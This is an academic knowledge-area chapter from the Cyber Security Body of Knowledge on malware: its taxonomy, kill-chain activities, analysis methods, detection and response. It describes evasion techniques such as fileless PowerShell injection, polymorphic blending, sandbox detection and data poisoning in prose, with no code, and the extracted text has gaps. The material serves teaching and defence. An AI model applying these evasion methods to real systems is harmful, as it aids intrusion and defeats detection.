Malware Attack Technology Issue 1.0
Malware Attack Technology Issue 1.0
Malware Attack Technology Issue 1.0
Technologies
Knowledge Area
Issue 1.0
Wenke Lee Georgia Institute of Technology
EDITOR
Howard Chivers University of York
REVIEWERS
Alex Berry FireEye
Lorenzo Cavallaro King’s College London
Mihai Christodorescu VISA
Igor Muttik Cyber Curio
The Cyber Security Body Of Knowledge
www.cybok.org
COPYRIGHT
© Crown Copyright, The National Cyber Security Centre 2019. This information is licensed
under the Open Government Licence v3.0. To view this licence, visit:
http://www.nationalarchives.gov.uk/doc/open-government-licence/
When you use this information under the Open Government Licence, you should include the
following attribution: CyBOK © Crown Copyright, The National Cyber Security Centre 2018, li-
censed under the Open Government Licence: http://www.nationalarchives.gov.uk/doc/open-
government-licence/.
The CyBOK project would like to understand how the CyBOK is being used and its uptake.
The project would like organisations using, or intending to use, CyBOK for the purposes of
education, training, course development, professional development etc. to contact it at con-
[email protected] to let the project know how they are using CyBOK.
Issue 1.0 is a stable public release of the Malware and Attack Technologies Knowledge Area.
However, it should be noted that a fully-collated CyBOK document which includes all of the
Knowledge Areas is anticipated to be released by the end of July 2019. This will likely include
updated page layout and formatting of the individual Knowledge Areas
INTRODUCTION
Malware is short for ’malicious software’, that is, any program that performs malicious activi-
ties. We use the terms malware and malicious code interchangeably. Malware comes with a
wide range of shapes and forms, and with different classifications accordingly, e.g., viruses,
Trojans, worms, spyware, botnet malware, ransomware, etc.
Malware carries out many of the cyberattacks on the Internet, including nation-state cyber-
war, cybercrime, fraud and scams. For example, Trojans can introduce a backdoor access
to a government network to allow nation-state attackers to steal classified information. Ran-
somware can encrypt data on a user’s computer and thus making it unaccessible to the user,
and only decrypt the data after the user pays a sum of money. Botnet malware is responsible
for many of the Distributed Denial-of-Service (DDoS) attacks as well as spam and phishing
activities. We need to study the techniques behind malware development and deployment in
order to better understand cyberattacks and develop the appropriate countermeasures.
As the political and financial stakes become higher, the sophistication and robustness of
both the cyber defence mechanisms and the malware technologies and operation models
have also increased. For example, attackers now use various obfuscation techniques such
as packing and polymorphism as well as metamorphism to evade malware detection sys-
tems [1], and they set up adaptive network infrastructures on the Internet to support malware
updates, command-and-control, and other logistics such as transits of stolen data. In short,
it is becoming more important but also more challenging to study malware.
The rest of this chapter is organised as follows. We will provide a taxonomy of malware
and discuss their typical malicious activities as well as their eco-system and support infras-
tructures. We will then describe the tools and techniques to analyse malware behaviours,
and network- and host- based detection methods to identify malware activities, as well as
processes and techniques including forensic analysis and attribution to respond to malware
attacks.
CONTENT
1 A TAXONOMY OF MALWARE
[2, c6]
There are many types of malware [2]. It is instructive to create a taxonomy to systematically
categorise the wide spectrum of malware types. This taxonomy describes the common char-
acteristics of each type of malware and thus can guide the development of countermeasures
applicable to an entire category of malware (rather than a specific malware). Since there
many facets of malware technologies and attack operations, based on which malware can
be categorised and named, our taxonomy can include many dimensions. We discuss a few
important ones below. It should be borne in mind that other, more specialised, attributes
could also be used such as target processor architecture or operating system.
The first dimension of our taxonomy is whether malware is a standalone (or, independent)
program or just a sequence of instructions to be embedded in another program. Standalone
malware is a complete program that can run on its own once it is installed on a compromised
machine and executed. For example, worms and botnet malware belong to this type. The
second type requires a host program to run, that is, it must infect a program on a computer
by inserting its instructions into the program so that when the program is run, the malware
instructions are also executed. For example, document macro viruses and malicious browser
plug-ins belong to this type. In general, it is easier to detect standalone malware because it is
a program or a running process in its own right and its presence can be detected by operating
system or security tools.
The second dimension is whether malware is persistent or transient. Most malware is in-
stalled in persistent storage (typically, a file system) as either standalone malware or an
infection of another program that already resides in persistent storage. Other malware is
memory-resident such that if the computer is rebooted or the infected running program ter-
minates, it no longer exists anywhere on the system. Memory-resident malware can evade
detection by many anti-virus systems that rely on file scanning. Such transient malware also
has the advantage of being easy to clean up (or, cover-up) its attack operations. The tradi-
tional way for malware to become memory-resident is to remove the malware program (that
was downloaded and installed previously) from the file system as soon as it gets executed.
Newer approaches exploit system administrative and security tools such as PowerShell to
inject malware directly into memory [3]. For example, according to one report [4], after an
initial exploit that led to the unauthorised execution of PowerShell, meterpreter code was
downloaded and injected into memory using PowerShell commands and it harvested pass-
words on the infected computer.
The third dimension generally applies to only persistent malware and categorises malware
based on the layer of the system stack the malware is installed and run on. These layers,
in the ascending order, include firmware, boot-sector, operating system kernel, drivers and
Application Programing Interfaces (APIs), and user applications. Typically, malware in the
lower layers is harder to detect and remove, and wreaks greater havoc because it has more
control of the compromised computer. On the other hand, it is also harder to write malware
that can be installed at a lower layer because there are greater constraints, e.g., a more limited
programming environment in terms of both the types and amount of code allowed.
The fourth dimension is whether malware is run and spread automatically vs. activated by a
user action. When an auto-spreading malware runs, it looks for other vulnerable machines on
the Internet, compromises these machines and installs itself on them; the copies of malware
on these newly infected machines immediately do the same – run and spread. Obviously,
auto-spreading malware can spread on the Internet very quickly, often being able to exponen-
tially increase the number of compromised computers. On the other hand, user-activated
malware is run on a computer only because a user accidentally downloads and executes it,
e.g., by clicking on an attachment or URL in a received email. More importantly, when this
malware runs, although it can ‘spread’, e.g., by sending email with itself as the attachment
to contacts in the user’s address book, this spreading is not successful unless a user who
receives this email activates the malware.
The fifth dimension is whether malware is static or one-time vs. dynamically updated. Most
modern malware is supported by an infrastructure such that a compromised computer can
receive a software update from a malware server, that is, a new version of the malware is in-
stalled on the compromised computer. From an attacker’s point-of-view, there are many ben-
efits of updating malware. For example, updated malware can evade detection techniques
that are based on the characteristics of older malware instances.
The sixth dimension is whether malware acts alone or is part of a coordinated network (i.e., a
botnet). While botnets are responsible for many cyberattacks such as DDoS, spam, phishing,
etc., isolated malware has become increasingly common in the forms of targeted attack.
That is, malware can be specifically designed to infect a target organisation and perform
malicious activities according to those assets of the organisation valuable to the attacker.
Most modern malware uses some form of obfuscation in order to avoid detection (and hence
we do not explicitly include obfuscation in this taxonomy). There is a range of obfuscation
techniques and there are tools freely available on the Internet for a malware author to use.
For example, polymorphism can be used to defeat detection methods that are based on ‘sig-
natures’ or patterns of malware code. That is, the identifiable malware features are changed
to be unique to each instance of the malware. Therefore, malware instances look different
from each other, but they all maintain the same malware functionality. Some common poly-
morphic malware techniques include packing, which involves compressing and encrypting
part of the malware, and rewriting identifiable malicious instructions into other equivalent
instructions.
auto-spreading?
standalone or
host-program
system stack
coordinated?
persistent or
dynamically
updatable?
transient
layers of
As an illustration, we can apply this taxonomy to several types (or names) of malware. See
Table 1. In particular, a virus needs a host-program to run because it infects the host-program
by inserting a malicious code sequence into the program. When the host-program runs, the
malicious code executes and, in addition to performing the intended malicious activities, it
can look for other programs to infect. A virus is typically persistent and can reside in all layers
of the system stack except hardware. It can spread on its own because it can inject itself
into programs automatically. A virus can also be dynamically updated provided that it can
connect to a malware update server. A polymorphic malware virus can mutate itself so that
new copies look different, although the algorithm of this mutation is embedded into its own
code. A virus is typically not part of a coordinated network because while the infection can
affect many computers, the virus code typically does not perform coordinated activities.
Other malware that requires a host-program includes malicious browser plug-ins and exten-
sions, scripts (e.g., JavaScript on a web page), and document macros (e.g., macro viruses
and PDF malware). These types of malware can be updated dynamically, form a coordinated
network, and can be obfuscated.
Botnet malware refers to any malware that is part of a coordinated network with a botnet
infrastructure that provides command-and-control. A botnet infrastructure typically also pro-
vides malware update, and other logistic support. Botnet malware is persistent and typically
obfuscated, and usually resides in the kernel, driver, or application layers. Some botnet mal-
ware requires a host-program, e.g., malicious browser plug-ins and extensions, and needs
user activation to spread (e.g., malicious JavaScript). Other botnet malware is standalone,
and can spread automatically by exploiting vulnerable computers or users on the Internet.
These include trojans, key-loggers, ransomware, click bots, spam bots, mobile malware, etc.
Step Activities
1 Reconnaissance Harvesting email addresses,
identifying vulnerable computers and accounts, etc.
2 Weaponization Designing exploits into a deliverable payload.
3 Delivery Delivering the exploit payload to a victim via email,
Web download, etc.
4 Exploitation Exploiting a vulnerability and
executing malicious code on the victim’s system.
5 Installation Installing (additional) malware on the victim’s system.
6 Command & Control Establishing a command and control channel for attackers
to remotely commandeer the victim’s system.
7 Actions on Objectives Carrying out malicious activities on the victim’s system and network.
Most modern malware performs a combination of these attack actions because there are
toolkits (e.g., a key-logger) freely available for carrying out many ‘standard’ activities (e.g.,
recording user passwords) [1], and malware can be dynamically updated to include or acti-
vate new activities and take part in a longer or larger ‘campaign’ rather than just performing
isolated, one-off actions. These are the Actions on Objectives in the Cyber Kill Chain Model.
Botnets exemplify long-running and coordinated malware. A botnet is a network of bots (or,
compromised computers) under the control of an attacker. Botnet malware runs on each bot
and communicates with the botnet command-and-control (C&C) server regularly to receive
instructions on specific malicious activities or updates to the malware. For example, every
day the C&C server of a spamming botnet sends each bot a spam template and a list of email
addresses so that collectively the botnet sends a very large number of spam messages. If the
botnet is disrupted because of detection and response actions, e.g., the current C&C server is
taken down, the botnet malware is already programmed to contact an alternative server and
can receive updates to change to a botnet that uses peer-to-peer for C&C. In general, botnets
are quite noisy, i.e., relatively easy to detect, because there are many bots in many networks.
Botnet C&C is an example of the Command & Control step in the Cyber Kill Chain Model.
In contrast to botnets, malware behind the so-called advanced persistent threats (APTs) typ-
ically targets a specific organisation rather than aiming to launch large-scale attacks. For
example, it may look for a particular type of controller in the organisation to infect and cause
it to send the wrong control signals that lead to eventual failures in machineries. APT mal-
ware is typically designed to be long-lived (hence the term ‘persistent’). This means it not
only receives regular updates. but also evades detection by limiting its activity volume and
intensity (i.e., ‘low and slow’), moving around the organisation (i.e., ‘lateral movements’) and
covering its tracks. For example, rather than sending the stolen data out to a ‘drop site’ all at
once, it can send a small piece at a time and only when the server is already sending legiti-
mate traffic; after it has finished stealing from a server it moves to another (e.g., by exploiting
the trust relations between the two) and removes logs and even patches the vulnerabilities
in the first server.
When we use the Cyber Kill Chain Model to analyze a cyberattack, we need to examine its ac-
tivities in each step. This requires knowledge of the attack techniques involved. The ATT&CK
Knowledge Base [6] documents the up-to-date attack tactics and techniques based on real-
world observations, and is a valuable reference for analysts.
3 MALWARE ANALYSIS
[1, c1-10] [7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18]
There are many benefits in analysing malware. First, we can understand the intended mali-
cious activities to be carried out by the malware. This will allow us to update our network and
endpoint sensors to detect and block such activities, and identify which machines have the
malware and take corrective actions such as removing it or even completely wiping the com-
puter clean and reinstalling everything. Second, by analysing the malware structure (e.g., the
libraries and toolkits that it includes) and coding styles, we may be able to gain information
that is potentially useful to attribution, which means being able to identify the likely author
and operator. Third, by comparing it with historical as well as geo-location data, we can
better understand and predict the scope and trend of malware attacks, e.g., what kinds of
activities (e.g., mining cryptocurrencies) are on the rise and if a cybercrime is moving from
one region to another. In short, malware analysis is the basis for detecting and responding
to cyberattacks.
Malware analysis typically involves running a malware instance in an analysis environment.
There are ways to ‘capture’ malware instances on the infection sites. A network sensor can
examine traffic (e.g., web traffic, email attachment) to identify possible malware (e.g., pay-
load that contains binary or program-like data from a website with a low reputation) and run
it in a sandbox to confirm. If a network sensor is able to detect outgoing malicious traffic
from an internal host, a host-based sensor can further identify the program, i.e., the malware,
responsible for such traffic. There are also malware collection and sharing efforts where
trusted organisations can upload malware samples found in their networks and also receive
samples contributed by other organisations. Academic researchers can typically just obtain
malware samples without needing to contribute. When acquiring and sharing malware sam-
ples, we must consider our legal and ethical responsibilities carefully [19]. For example, we
must protect the identities of the infection sites from which the malware samples were cap-
tured, and we must not share the malware samples with any organisation that is an unknown
entity or that does not have the commitment or technical capabilities to analyse malware
safely.
The malware analysis pipeline typically includes the following steps: 1) identifying the format
of a malware sample (e.g., binary or source code, Windows or Linux, etc.), 2) static analysis
using disassembly (if the malware is in binary format), program analysis, statistical analysis
of the file contents, etc., and 3) dynamic analysis using an analysis environment. Steps 2 and
3 can be combined and iterated.
traces certainly cover all the details of malicious behaviours but the data volume is too large
for efficient analysis [20]. On the other hand, system call (or API call) traces are coarser but
summarise how malware interacts with the run-time system, including file I/O and network-
ing activities [21]. Another advantage of dynamic analysis is that it is independent of the
malware format, e.g., binary, script, macro, or exploit, because all malware is executed and
analysed in a similar fashion.
3.1.3 Fuzzing
Fuzzing is a method for discovering vulnerabilities, bugs and crashes in software by feed-
ing randomised inputs to programs. Fuzzing tools [22] can also be used to trigger malware
behaviours. Fuzzing can explore the input space, but it is limited due to code-coverage is-
sues [7], especially for inputs that drive the program down complex branch conditions. In
contrast, concolic execution (see 3.1.5 Concolic Execution) is good at finding complex in-
puts by formulating constraints, but is also expensive and slow. To take advantage of both
approaches, a hybrid approach [23] called hybrid fuzzing can be used.
Concolic Execution can use whole-system emulators [10, 27] or dynamic binary instrumenta-
tion tools [11, 25]. Another approach is to interpret Intermediate Representation (IR) to imitate
the effects of execution [8, 12]. This technique allows context-free concolic execution, which
analyses any part of the binary at function and basic block levels.
Path Exploration is a systematical approach to examine program paths. Path explosion is
also inevitable in concolic execution due to the nature of symbolic space. There are a variety
of algorithms used to prioritise the directions of concolic execution, e.g., Depth-First Search
(DFS) or distance computation [28]. Another approach is to prioritise the directions favouring
newly explored code blocks or symbolic memory dependence [11]. Other popular techniques
include path pruning, state merging [10, 29, 30], under-constrained symbolic execution [12]
and fuzzing support [7, 9].
Lack of fine-grained
Low transparency, Low transparency, introspection,
Less control over the
Unreliability support of Artifacts from Scalability and cost
system state
architecture semantics para-virtualisation issues, Slower to
restore to clean state
Table 3 highlights the advantages and disadvantages of common environments used for
run-time (i.e., dynamic) analysis of malware. We can see that some architectures are eas-
ier to set up and give finer control over the malware’s execution, but come at the cost of
transparency (that is, they are easier for the malware to detect) compared to the others. For
example, bare-metal systems are very hard for malware to detect, but because they have no
instrumentation, the data that can be extracted are typically limited to network and disk I/O.
By contrast, emulators like QEMU can record every executed instruction and freely inspect
memory. However, QEMU also has errors that do not exist in real hardware, which can be
exploited to detect its presence [41]. A very large percentage of modern malware detect em-
ulated and virtualised environments and if they do, then they do not perform their malicious
actions in order to avoid analysis.
plying dynamic dataflow and taint analysis techniques to these traces, we then identify data
regions containing the bytecode, syntactic information showing how bytecodes are parsed
into opcodes and operands, and semantic information about control transfer instructions.
The output of this approach is data structures, such as a control-flow graph (CFG) of the
malware, which provides the foundation for subsequent malware analysis.
Malware often uses fingerprinting techniques to detect the presence of an analysis environ-
ment and evade dynamic analysis (e.g., it stops executing the intended malware code). More
generally, malware behaviours can be ‘trigger-based’ where a trigger is a run-time condition
that must be true. Examples of conditions include the correct date and time, the presence of
certain files or directories, an established connection to the Internet, the absence of a spe-
cific mutex object etc. If a condition is not true, the malware does not execute the intended
malicious logic. When using standard dynamic analysis, the test inputs are not guaranteed
to trigger some of these conditions and, as a result, the corresponding malware behaviours
may be missed. To uncover trigger-based behaviours a multi-path analysis approach [15]
explores multiple execution paths of a malware. The analyser monitors how the malware
code uses condition-like inputs to make control-flow decisions. For each decision point, the
analyser makes a snapshot of the current malware execution state and allows the malware
to execute the correct malware path for the given input value; for example, the input value
suggests that the triggering condition is not met and the malware path does not include the
intended malicious logic. The analyser then comes back to the snapshot and rewrites the
input value so that the other branch is taken; for example, now the triggering condition is
rewritten to be true, and the malware branch is the intended malicious logic.
artifacts.
4 MALWARE DETECTION
[1, c11, c14-16, c18] [58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68]
Evasion and Countermeasures Since Antivirus and IDS solutions can generate signatures
for malware executables, malware authors often morph the contents of their malware. They
can change the contents of the executables while generating identically functional copies of
their malware (i.e., the malware will perform the same dynamic behaviours when executed).
Since its static contents have been changed, the malware can evade an AV or IDS that uses
these static features. On the other hand, the malware can still be detected by an AV or IDS
that uses the dynamic features (i.e., what the malware does).
Heuristics, e.g., signatures of a packing tool, or high entropy due to encryption, can be used
to detect and block contents that suggest the presence of packed malware, but this may lead
to false alarms because packing can also be used by benign software and services, such as
video games, to protect proprietary information. The most reliable way to detect packed mal-
ware is to simply monitor its run-time behaviours because the packed code will be unpacked
and executed, and the corresponding malicious behaviours can then be identified [58].
In addition to changing the malware executable, an attacker can also change the contents of
its malicious network traffic by using polymorphism to modify payloads so that the same at-
tacks look different across multiple traffic captures. However, classic polymorphic malware
techniques [73] make the payloads look so different that even a naive IDS can easily differ-
entiate them from benign payloads. On the other hand, with polymorphic malware blending
attacks [59] malicious payloads can be made to look statistically similar to benign payloads.
Malware authors often implement updating routines, similar to updates for operating sys-
tems and applications such as web browsers and office tools. This allows malware authors
the flexibility to make changes to the malware to not only include new malicious activities
but also evade detection by AVs and IDS that have started using patterns of the old malware
and its old behaviours.
related attack is polymorphic blending [59] that can be used to evade ML models based on
network payload statistics (e.g., the frequency distribution of n-grams in payload data to a
network service). An attack payload can be encoded and padded with additional n-grams so
that it matches the statistics of benign payloads. Targeted noise injection [67] is an attack
designed to trick a machine-learning algorithm, while training a detection model, to focus on
features not belonging to malicious activities at all. This attack exploits a fundamental weak-
ness of machine learning: garbage in, garbage out. That is, if you give a machine-learning
algorithm bad data, then it will learn to classify data ‘badly’. For example, an attacker can
insert various no-op features into the attack payload data, which will statistically produce a
strong signal for the ML algorithm to select them as ‘the important, distinguishing features’.
As long as such features exist, and as they are under the attacker’s control, any ML algorithm
can be misled to learn an incorrect detection model. Noise injection is also known as ‘data
poisoning’ in the machine learning community.
We can make attacks on ML harder to succeed. For example, one approach is to squeeze
features [88] so that the feature set is not as obvious to an attacker, and the attacker has a
smaller target to hit when creating adversarial samples. Another approach is to train separat-
ing classes, which distance the decision boundary between classes [89]. This makes it more
difficult for an attacker to simply make small changes to features to ‘jump’ across decision
boundaries and cause the model to misclassify the sample. Another interesting approach
is to have an ML model forget samples it has learned over time, so that an attacker has to
continuously poison every dataset [90].
A more general approach is to employ a combination of different ML-based detection mod-
els so that defeating all of them simultaneously is very challenging. For example, we can
model multiple feature sets simultaneously through ensemble learning, i.e., using multiple
classifiers trained on different feature sets to classify a sample rather than relying on singu-
lar classifier and feature set. This would force an attacker to have to create attacks that can
evade each and every classifier and feature set [68].
As discussed earlier, deep learning algorithms produce models that cannot be easily exam-
ined. But if we do not understand how a detection model really works, we cannot foresee
how attackers can attempt to defeat it and how we can improve its robustness. That is, a
model that seemingly performs very well on data seen thus far can, in fact, be very easily
defeated in the future - we just have no way of knowing. For example, in image recognition it
turned out that some deep learning models focused on high-frequency image signals (that
are not visible to the human eye) rather than the structural and contextual information of an
image (which is more relevant for identifying an object) and, as a result, a small change in
the high-frequency data is sufficient to cause a mis-classification by these models, while to
the human eye the image has not changed at all [91].
There are promising approaches to improve the ‘explainability’ of deep learning models. For
example, an attention model [92] can highlight locations within an image to show which por-
tions it is focusing on when classifying the image. Another example is LEMNA [93], which
generates a small set of interpretable features from an input sample to explain how the sam-
ple is classified, essentially approximating a local area of the complex deep learning decision
boundary using a simpler interpretable model.
In both the machine learning and security communities, adversarial machine learning [94]
is and will continue to be a very important and active research area. In general, attacks on
machine learning can be categorised as data poisoning (i.e., injecting malicious noise into
training data) and evasion (i.e., morphing the input to cause mis-classification). What we
have discussed above are just examples of evasion and poisoning attacks on ML models for
security analytics. These attacks have motivated the development of new machine-learning
paradigms that are more robust against adversarial manipulations, and we have discussed
here examples of promising approaches.
In general, attack detection is a very challenging problem. A misuse detection method which
is based on patterns of known attacks is usually not effective against new attacks or even
new variants of old attacks. An anomaly detection method which is based on a normal pro-
file can produce many false alarms because it is often impossible to include all legitimate
behaviours in a normal profile. While machine learning can be used to automatically produce
detection models, potential ‘concept drift’ can render the detection models less effective
over time [95]. That is, most machine-learning algorithms assume that the training data and
the testing data have the same statistical properties, whereas in reality, user behaviours and
network and system configurations can change after a detection model is deployed.
5 MALWARE RESPONSE
[96, 97, 98, 99, 100, 101]
If we have an infected host in front of us, we can remove the malware, and recover the data
and services from secure backups. At the local network access point, we can update corre-
sponding Firewall and Network Intrusion Detection System rules, to prevent and detect future
attacks. It is unfeasible to execute these remediation strategies if the infected machines can-
not be accessed directly (e.g., they are in private residences), and if the scale of infection is
large. In these cases, we can attempt to take down malware command-and-control (C&C)
infrastructure instead [96, 97], typically at the Internet Service Provider (ISP) or the top-level
domain (TLD) level. Takedowns aim to disrupt the malware communication channel, even if
the hosts remain infected. Last but not least, we can perform attack attribution using multiple
sources of data to identify the actors behind the attack.
5.2 Attribution
Ideally, law enforcement wants to identify the actual criminal behind the attacks. Identifying
the virtual attacker is an important first step toward this goal. An attacker may have consis-
tent coding styles, reuse the same resources or infrastructures, or use similar C&C practices.
From the malware data, we can compare its ‘characteristics’ with those of known historical
adversaries, e.g., coding styles, server configurations, etc. [99]. At the source code level, we
can use features that reflect programming styles and code quality. For instance, linguistic
features, formatting style, bugs and vulnerabilities, structured features such as execution
path, Abstract Syntax Tree (AST), Control Flow Graph (CFG), and Program Dependence Graph
(PDG) can be used. Other features extracted from the binary file can also indicate authorship,
e.g., the sequence of instructions and register flow graph.
From the enumerated attack infrastructure, we can associate the expanded domain name
set with previously known adversaries. For instance, unknown TDSS/TDL4 botnet ad-fraud
C&C domains share the same IP infrastructure with known domains, and they are registered
by the same set of email addresses and name servers. This allows us to attribute unknown
domains to known TDSS/TDL4 actors [100].
CONCLUSION
Attackers use malware to carry out malicious activities on their behalf. Malware can reside
in any layer of the system stack, and can be a program by itself or embedded in another appli-
cation or document. Modern malware comes with a support infrastructure for coordinated
attacks and automated updates, and can operate low-and-slow and cover its tracks to avoid
detection and attribution. While malware can cause wide-spread infection and harm on the
Internet, it can also be customised for attacks targeting a specific organisation. Malware
analysis is an important step in understanding malicious behaviours and properly updating
our attack prevention and detection systems. Malware employs a wide range of evasion tech-
niques, which include detecting the analysis environment, obfuscating malicious code, using
trigger-conditions to execute, and applying polymorphism to attack payloads, etc. Accord-
ingly, we need to make analysis environments transparent to malware, continue to develop
specialised program analysis algorithms and machine-learning based detection techniques,
and apply a combination of these approaches. Response to malware attacks goes beyond
detection and mitigation, and can include take-down and attribution, but the challenge is
enumerating the entire malware infrastructure, and correlating multiple pieces of evidence
to avoid false flags planted by the attackers.
Sections Cites
1 A taxonomy of Malware [2]:c6
2 Malicious Activities by Malware [2]:c6, [1]:c11-12
3 Malware Analysis
3.1 Analysis Techniques [1]:c1-10
3.1.1 Static Analysis [1]:c4-7
3.1.2 Dynamic analysis [1]:c8-10
3.1.3 Fuzzing [7, 8]
3.1.5 Concolic Execution [9, 10, 11, 12]
3.2 Analysis Environments [1]:c2
3.2.1 Safety and Live-Environment Requirements
3.2.2 Virtualised Network Environments [1]:c2, [13]
3.3.2 Identifying the Analysis Environments [1]:c15-18, [14, 15, 16]
3.3 Anti-Analysis and Evasion Techniques [1]:c15-16, [17, 18, 15]
4 Malware Detection
4.1 Identifying the Presence of Malware
4.1.1 Finding Malware in a Haystack [1]:c11,c14
4.1.1 Evasion and Countermeasures [1]:c15-16,c18, [58, 59]
4.2 Detection of Malware Attacks
4.2.1 Host-based and Network-Based Monitoring [1]:c11,c14, [60, 61, 62, 63, 64]
4.2.2 Machine Learning-Based Security Analytics [65, 64]
4.2.3 Evasion, Countermeasures, and Limitations [66, 67, 68]
5 Malware Response
5.1 Disruption of Malware Operations [96, 97]
5.1.1 Evasion and Countermeasures [98]
5.2 Attribution [99, 100]
5.2.1 Evasion and Countermeasures [101]
REFERENCES
[1] M. Sikorski and A. Honig, Practical Malware Analysis: A Hands-On Guide to Dissecting
Malicious Software. No Starch Press, 2012.
[2] W. Stallings and L. Brown, Computer Security: Principles and Practice, 4th Edition. Pear-
son, 2018.
[3] McAfee, “Fileless malware execution with powershell is easier than you may
realize,” 2017. [Online]. Available: https://www.mcafee.com/enterprise/en-us/assets/
solution-briefs/sb-fileless-malware-execution.pdf
[4] ars TECHNICA, “A rash of invisible, fileless malware is infecting banks around the
globe,” 2017. [Online]. Available: https://arstechnica.com/information-technology/
2017/02/a-rash-of-invisible-fileless-malware-is-infecting-banks-around-the-globe/
?comments=1&post=32786675
[5] Lockheed Martin, “The cyber kill chain.” [Online]. Available: https://www.
lockheedmartin.com/en-us/capabilities/cyber/cyber-kill-chain.html
[6] MITRE, “ATT&CK knowledge base.” [Online]. Available: https://attack.mitre.org
[7] N. Stephens, J. Grosen, C. Salls, A. Dutcher, R. Wang, J. Corbetta, Y. Shoshitaishvili,
C. Kruegel, and G. Vigna, “Driller: Augmenting fuzzing through selective symbolic exe-
cution.” in The Network and Distributed System Security Symposium (NDSS), 2016.
[8] Y. Shoshitaishvili, R. Wang, C. Salls, N. Stephens, M. Polino, A. Dutcher, J. Grosen,
S. Feng, C. Hauser, C. Kruegel et al., “Sok: state of the art of war: Offensive techniques
in binary analysis,” in 2016 IEEE Symposium on Security and Privacy (SP). IEEE, 2016,
pp. 138–157.
[9] P. Godefroid, M. Y. Levin, and D. A. Molnar, “Automated whitebox fuzz testing,” in The
Network and Distributed System Security Symposium (NDSS), 2008.
[10] V. Chipounov, V. Kuznetsov, and G. Candea, “S2E: A platform for in-vivo multi-path anal-
ysis of software systems,” ACM Sigplan Notices, vol. 46, no. 3, pp. 265–278, 2011.
[11] S. K. Cha, T. Avgerinos, A. Rebert, and D. Brumley, “Unleashing mayhem on binary code,”
in IEEE Symposium on Security and Privacy (SP). IEEE, 2012, pp. 380–394.
[12] D. A. Ramos and D. R. Engler, “Under-constrained symbolic execution: Correctness
checking for real code.” in USENIX Security Symposium, 2015, pp. 49–64.
[13] C. Kreibich, N. Weaver, C. Kanich, W. Cui, and V. Paxson, “GQ: Practical containment
for measuring modern malware systems,” in Proceedings of the 2011 ACM SIGCOMM
conference on Internet measurement conference. ACM, 2011, pp. 397–412.
[14] A. Dinaburg, P. Royal, M. Sharif, and W. Lee, “Ether: malware analysis via hardware
virtualization extensions,” in Proceedings of the 15th ACM conference on Computer and
communications security. ACM, 2008, pp. 51–62.
[15] A. Moser, C. Kruegel, and E. Kirda, “Exploring multiple execution paths for malware
analysis,” in IEEE Symposium on Security and Privacy. IEEE, 2007.
[16] D. Kirat, G. Vigna, and C. Kruegel, “Barecloud: Bare-metal analysis-based evasive mal-
ware detection.” in USENIX Security Symposium, 2014, pp. 287–301.
[17] M. Sharif, A. Lanzi, J. Giffin, and W. Lee, “Automatic reverse engineering of malware
emulators,” in 30th IEEE Symposium on Security and Privacy. IEEE, 2009, pp. 94–109.
[18] S. Mariani, L. Fontana, F. Gritti, and S. D’Alessio, “PinDemonium: a DBI-based generic
unpacker for Windows executables,” in Black Hat USA 2016, 2016.
[19] E. Kenneally, M. Bailey, and D. Maughan, “A framework for understanding and applying
ethical principles in network and security research,” in Workshop on Ethics in Computer
Security Research (WECSR ’10), 2010.
[20] M. K. Shankarapani, S. Ramamoorthy, R. S. Movva, and S. Mukkamala, “Malware detec-
tion using assembly and API call sequences,” Journal in computer virology, vol. 7, no. 2,
pp. 107–119, 2011.
[21] M. Bailey, J. Oberheide, J. Andersen, Z. M. Mao, F. Jahanian, and J. Nazario, “Automated
classification and analysis of internet malware,” in International Workshop on Recent
Advances in Intrusion Detection. Springer, 2007, pp. 178–197.
[22] M. Zalewski, “American fuzzy lop.” [Online]. Available: http://lcamtuf.coredump.cx/afl/
[23] I. Yun, S. Lee, M. Xu, Y. Jang, and T. Kim, “QSYM: A practical concolic execution en-
gine tailored for hybrid fuzzing,” in Proceedings of the 27th USENIX Security Symposium,
2018.
[24] C. Cadar and K. Sen, “Symbolic execution for software testing: Three decades later,” in
Communications of the ACM, 2013.
[25] D. Brumley, I. Jager, T. Avgerinos, and E. J. Schwartz, “BAP: A binary analysis platform,”
in International Conference on Computer Aided Verification. Springer, 2011.
[26] C. Cadar, D. Dunbar, and D. R. Engler, “KLEE: Unassisted and automatic generation of
high-coverage tests for complex systems programs,” in 8th USENIX Symposium on Op-
erating Systems Design and Implementation, vol. 8, 2008, pp. 209–224.
[27] D. Song, D. Brumley, H. Yin, J. Caballero, I. Jager, M. G. Kang, Z. Liang, J. Newsome,
P. Poosankam, and P. Saxena, “BitBlaze: A new approach to computer security via bi-
nary analysis,” in International Conference on Information Systems Security. Springer,
2008, pp. 1–25.
[28] M. Böhme, V.-T. Pham, M.-D. Nguyen, and A. Roychoudhury, “Directed greybox fuzzing,”
in Proceedings of the 2017 ACM SIGSAC Conference on Computer and Communications
Security. ACM, 2017, pp. 2329–2344.
[29] V. Kuznetsov, J. Kinder, S. Bucur, and G. Candea, “Efficient state merging in symbolic
execution,” ACM Sigplan Notices, vol. 47, no. 6, pp. 193–204, 2012.
[30] T. Avgerinos, A. Rebert, S. K. Cha, and D. Brumley, “Enhancing symbolic execution with
veritesting,” in Proceedings of the 36th International Conference on Software Engineer-
ing. ACM, 2014, pp. 1083–1094.
[31] “The unicorn emulator.” [Online]. Available: https://www.unicorn-engine.org/
[32] “The QEMU emulator.” [Online]. Available: https://www.qemu.org/
[33] “The bochs emulator.” [Online]. Available: http://bochs.sourceforge.net/
[34] “The VirtualBox.” [Online]. Available: https://www.virtualbox.org/
[35] “The KVM.” [Online]. Available: https://www.linux-kvm.org/
[36] “The VMware.” [Online]. Available: https://www.vmware.com/
[37] “The VMware ESXi.” [Online]. Available: https://www.vmware.com/products/
esxi-and-esx.html/
[38] “The Hyper-V.” [Online]. Available: https://docs.microsoft.com/en-us/virtualization/
hyper-v-on-windows/about/
[39] “The Xen.” [Online]. Available: https://www.xenproject.org/
[40] P. Royal, “Entrapment: Tricking malware with transparent, scalable malware analysis,”
2012, talk at Black Hat.
[41] T. Raffetseder, C. Kruegel, and E. Kirda, “Detecting system emulators,” in International
Conference on Information Security. Springer, 2007, pp. 1–18.
[42] E. Cozzi, M. Graziano, Y. Fratantonio, and D. Balzarotti, “Understanding Linux Malware,”
in IEEE Symposium on Security & Privacy, 2018.
[43] N. Miramirkhani, M. P. Appini, N. Nikiforakis, and M. Polychronakis, “Spotless sand-
boxes: Evading malware analysis systems using wear-and-tear artifacts,” in IEEE Sym-
posium on Security and Privacy (SP). IEEE, 2017, pp. 1009–1024.
